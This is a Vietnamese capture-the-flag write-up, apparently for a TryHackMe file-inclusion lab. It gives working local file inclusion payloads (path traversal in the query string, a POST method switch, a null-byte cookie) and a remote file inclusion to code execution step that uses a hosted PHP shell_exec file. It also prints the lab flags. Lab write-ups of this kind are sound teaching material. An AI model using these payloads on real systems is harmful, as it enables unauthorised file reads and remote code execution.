Flag 1

Sử dụng Burp Suite, path và query string của request là:

/challenges/chall1.php?file=../

Bật tính năng intercept lên để capture và chặn request gửi đi. Ta chuột phải vào request và thay đổi HTTP method thành POST rồi bấm nút Forward để chuyển gói tin đi.

Lỗi hiển thị là:

Warning: include(../) [function.include]: failed to open stream: Success in /var/www/html/chall1.php on line 35

Ngoài ra ta còn biết thông tin về current path là /var/www/html: có ba cấp thư mục.

Dùng path traversal 3 lần và tìm đến /etc/flag1:

/challenges/chall1.php?file=../../../etc/flag1

Gửi request, đổi method thành POST và forward một lần nữa thì ta sẽ thu được flag.

Success

F1x3d-iNpu7-f0rrn

Flag 2

Path của request là:

/challenges/chall2.php

Khi truy cập thì trang web yêu cầu reload lại. Sau khi reload thì giao diện hiển thị truy cập trái phép do là Guest.

Bật intercept, ta thu được request có dạng như sau:

Chú ý thấy dòng Cookie, có thể đây là lý do mà trang web yêu cầu reload (để setup cookie). Đồng thời, giá trị của cookie là Guest.

Chỉnh sửa cookie thành Admin và forward request. Ta thu được thông báo lỗi như sau:

Warning:  include(includes/Admin.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/chall2.php on line 37

Có thể thấy, lỗi này tương tự như third scenario của LFI, ta thay đổi giá trị của cookie như sau:

Cookie: THM=../../../../etc/flag2%00

Cookie mới sử dụng 3 lần path traversal và dùng trick %00 để loại bỏ đuôi .php.

Forward request và ta thu được flag.

Success

c00k13_i5_yuMmy1

Flag 3

Thử dùng path traversal thông thường thì không có tác dụng, kể cả null byte injection cũng không. Cụ thể, với request là:

/challenges/chall3.php?file=../%00

Thì thông báo lỗi là:

Warning: include(.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/chall3.php on line 30

Sau khi đọc hint thì biết được rằng trang web sử dụng superglobal variable $_REQUEST để trích xuất dữ liệu từ request. Biến này bao gồm các giá trị có trong _GET, $_POST$_COOKIE. Do đó, có thể thử thay đổi method thành POST hoặc chỉnh sửa cookie.

Ta sửa method lại thành POST thì thu được thông báo lỗi như sau:

Warning: include(../.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/chall3.php on line 49

Thay đổi request ban đầu thành:

/challenges/chall3.php?file=../../../etc/flag3%00

Và ta thu được flag.

Success

P0st_1s_w0rk1in9

Flag 4

Để thực hiện RCE thông qua RFI thì ta cần host một file thực thi trên một server nào đó và truyền đường dẫn của file này vào input của trang web mà có thể thực hiện tấn công RFI. Xem thêm: RFI to RCE - The Hacker Recipes

Đầu tiên, ta cần viết file thực thi. Yêu cầu đề bài là thực thi lệnh hostname.

Tìm được hàm giúp thực thi lệnh của hệ điều hành của PHP: shell_exec.

File thực thi cmd.txt có dạng như sau:

<?php  
	$output = shell_exec('hostname');  
	echo "<pre>$output</pre>";  
?>

Sau khi có file thực thi thì ta chạy một web server đơn giản bằng Python:

python -m http.server 8080

File cmd.txt sẽ có đường dẫn là http://IP:8080/cmd.txt với IP là địa chỉ IP của máy chạy web server.

Gọi request như sau:

/playground.php?file=http://IP:8080/cmd.txt

Và ta thu được cờ.

Success

lfi-vm-thm-f8c5b1a78692